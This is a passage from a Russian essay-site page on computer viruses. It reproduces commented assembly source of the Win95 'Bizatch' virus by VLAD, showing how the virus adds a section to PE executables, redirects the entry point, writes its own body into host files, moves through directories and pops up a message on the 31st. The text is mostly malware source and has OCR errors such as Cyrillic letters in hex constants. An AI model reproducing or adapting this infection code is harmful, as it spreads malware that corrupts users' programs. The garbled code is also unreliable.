Пример: Транспортная логистика
Я ищу:
На главную  |  Добавить в избранное  

Программированиеи компьютеры /

Компьютерные вирусы

←предыдущая следующая→
1 2 3 4 5 6 7 8 9 10 



Скачать реферат


mul ecx

mov dword ptr [ebp+offset physicalsize],eax

;Вычислим виртуальный размер нового объекта

mov ecx,dword ptr [ebp+offset objalign]

mov eax,vend-vstart+1000h

xor edx.edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset virtualsize],eax

;Вычислим физическое смещение нового объекта

mov eax,[edi-5*8+20]

add eax,[edi-5*8+16]

mov ecx,dword ptr [ebp+offset filealign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicaloffset],eax

;Обновим размер образа (размер в памяти) файла

mov eax,vend-vstart+1000h

add eax,dword ptr [ebp+offset imagesize]

mov ecx, [ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset imagesize],eax

;Скопируем новый объект в таблицу объектов

mov ecx,10

rep movsd

;Вычислим точку входа RVA

mov eax,dword ptr [ebp+offset RVA]

mov ebx,dword ptr [ebp+offset entrypointRVA]

mov dword ptr [ebp+offset entrypointRVA],eax

sub eax.ebx

add eax,5

;Установим значение, необходимое для возврата в носитель

mov dword ptr [ebp+offset subme],eax

;Поставим указатель позиции чтения/записи на начало РЕ-заголовка

push О

push О

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Запишем РЕ-заголовок и таблицу объектов в файл

push О

lea eax,[ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea eax, [ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call WriteFile

;Увеличим счетчик заражений

inc byte ptr [ebp+offset countinfect]

;Поставим указатель позиции чтения/записи

;по физическому смещению нового объекта

push О

push О

push dword ptr [ebp+offset physicaloffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Запишем тело вируса в новый объект

push О

lea eax, [ebp+offset bytesread]

push eax

push vend-vstart

lea eax, [ebp+offset vstart]

push eax

push dword ptr [ebp+offset ahand]

call WriteFile

;3акроем файл

notape:

push dword ptr [ebp+offset ahand]

call CloseFile

; Переход к следующему файлу

findnextone:

;Проверим, сколько файлов заразили: если 3,

;то выходим, если меньше - ищем следующий

cmp byte ptr [ebp+offset countinfect],3

jz outty

;Ищем следующий файл

lea eax, [ebp+offset win32_data_thang]

push eax

push dword ptr [ebp+offset searchhandle]

call FindNext

;Если файл найден, переходим к заражению

or eax, eax

jnz gofile

;Сюда попадаем, если файл не найден

foundnothing:

;Сменим директорию

хоr eax, eax

lea edi, [ebp+offset tempdir]

mov ecx, 256/4

rep stosd

lea edi, [ebp+offset tempdirl]

mov ecx,256/4

rep stosd

;Получим текущую директорию

lea esi,[ebp+offset tempdir]

push esi

push 255

call GetCurDir

;Сменим директорию на "."

lea eax, [ebp+offset dotdot]

push eax

call SetCurDir

;Получим текущую директорию

lea edi,[ebp+offset tempdirl]

push edi

push 255

call GetCurDir

;Проверим, корневая ли это директория. Если да, то выходим

mov ecx, 256/4

rep cmpsd

jnz infectdir

;"3аметаем следы" и выходим в программу-носитель

outty:

;Возвратимся в оригинальную текущую директорию

lea eax,[ebp+offset orgdir]

push eax

call SetCurDir

;Получим текущую дату и время

lea eax, [ebp+offset systimestruct]

push eax

call GetTime

;Проверим число. Если это 31-ое, выдаем сообщение

cmp word ptr [ebp+offset day],31

jnz nopayload

;Сообщение для пользователя

push 1000h ;MB_SYSTEMMODAL

lea eax, [ebp+offset boxtitle]

push eax

lea eax, [ebp+offset boxmsg]

push eax

push 0

call MsgBox

;Выход в программу-носитель

nopayload:

pop eax

jmp eax

;Когда KERNEL будет обнаружен, его смещение будет записано

kern dd OBFF93B95h

;Значения KERNEL, известные нам

kern1 dd OBFF93B95h

kern2 dd OBFF93C1Dh

;Чтение текущей директории

GetCurDir:

;3апишем в стек значение для получения текущей

директории и вызовем KERNEL

push OBFF77744h

jmp [ebp+offset kern]

;Установка текущей директории

SetCurDir:

;3апишем в стек значение для установки текущей

директории и вызовем KERNEL

push OBFF7771Dh

jmp [ebp+offset kern]

;Получение времени и даты

GetTime:

;Проверим, какой KERNEL работает

cmp [ebp+offset kern],OBFF93B95h

jnz gettimekern2

;3апишем в стек значение для получения

;времени и даты и вызовем KERNEL

push OBFF9DOB6h

jmp [ebp+offset kern]

gettimekern2:

;Запишем в стек значение для получения

;Времени и даты и вызовем KERNEL

push OBFF9Dl4Eh

jmp [ebp+offset kern]

;Вывод сообщения

MsgBox:

;Запишем в стек значение для вывода сообщения и вызовем KERNEL

push OBFF638D9h

jmp [ebp+offset kern]

;Поиск первого файла

FindFile:

;Запишем в стек значение для поиска первого файла

;и вызовем KERNEL

push OBFF77893h

jmp [ebp+offset kern]

;Поиск следующего файла

FindNext:

;Запишем в стек значение для поиска

;следующего файла и вызовем KERNEL

push OBFF778CBh

jmp [ebp+offset kern]

;Открытие/создание файла

CreateFile:

;3апишем в стек значение для открытия/создания файла

;и вызовем KERNEL

push OBFF77817h

jmp [ebp+offset kern]

;Установка указателя чтения/записи

SetFilePointer:

;Запишем в стек значение для установки

;указателя чтения/записи файла и вызовем KERNEL

push OBFF76FAOh

jmp [ebp+offset kern]

;Чтение из файла

ReadFile:

;3апишем в стек значение для чтения из файла и вызовем KERNEL

push OBFF75806h

jmp [ebp+offset kern]

;3апись в файл

WriteFile:

;3апишем в стек значение для записи в файл и вызовем KERNEL

push OBFF7580Dh

jmp [ebp+offset kern]

;Закрытие файла

CloseFile:

;3апишем в стек значение для закрытия файла и вызовем KERNEL

push OBFF7BC72h

jmp [ebp+offset kern]

;Счетчик заражений

countinfect db 0

;Используется для поиска файлов

win32_data_thang:

fileattr dd 0

createtime dd 0,0

lastaccesstime dd 0,0

lastwritetime dd 0,0

filesize dd 0,0

resv dd 0,0

fullname db 256 dup (0)

realname db 256 dup (0)

;Имя сообщения, выводимого 31-го числа

boxtitle db "Bizatch by Quantum / VLAD",0

;Сообщение, .выводимое 31-го числа

boxmsg db "The taste of fame just got tastier!",0dh

db "VLAD. Australia does it again with the world"s first Win95 Virus"

db Odh.Odh

db 9,"From the old school to the new. ",0dh,0dh

db 9,"Metabolis",0dh

db 9,"Qark",0dh

db 9,"Darkman",0dh

db 9,"Quantum",0dh

db 9,"CoKe",0

p

←предыдущая следующая→
1 2 3 4 5 6 7 8 9 10 



Copyright © 2005—2007 «Mark5»